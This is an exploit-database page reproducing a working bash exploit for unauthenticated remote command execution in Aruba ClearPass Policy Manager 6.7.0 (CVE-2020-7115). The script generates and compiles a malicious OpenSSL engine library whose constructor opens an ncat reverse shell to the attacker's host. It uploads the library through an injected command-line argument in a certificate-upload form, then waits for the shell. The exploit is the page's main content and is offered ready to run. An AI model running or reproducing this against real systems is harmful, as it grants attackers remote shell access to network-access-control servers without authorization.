Search for hundreds of thousands of exploits

"Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution"

Author

Exploit author

SpicyItalian

Platform

Exploit platform

linux

Release date

Exploit published date

2020-07-10

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Exploit Title: Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution
# Date: 2020-07-06
# Exploit Author: SpicyItalian
# Vendor Homepage: https://www.arubanetworks.com/products/security/network-access-control/
# Version: ClearPass 6.7.x prior to 6.7.13-HF, ClearPass 6.8.x prior to 6.8.5-HF, ClearPass 6.9.x prior to 6.9.1
# Tested on: ClearPass 6.7.0
# CVE: CVE-2020-7115

Use of RHEL/CentOS 7.x is recommended to successfully generate the malicious OpenSSL engine.

#!/usr/bin/env bash

if [ "$#" -ne 4 ]; then
echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]"
exit 0
fi
cat <<EOF >>payload.c
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL);
}
EOF

gcc -fPIC -c payload.c
gcc -shared -o payload.so -lcrypto payload.o
rm -f payload.c payload.o
curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null &
cat <<"EOF"

/(\

Β‘ !Β΄\

| )\ `.

| `.) \,-,--

( / /

`'-.,;_/

`----

EOF

printf "\nPleasea waita for your spicy shell...\n\n"

ncat -v -l $3 $4
Release DateTitleTypePlatformAuthor
2020-07-10"Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution"remotelinuxSpicyItalian
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48661/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.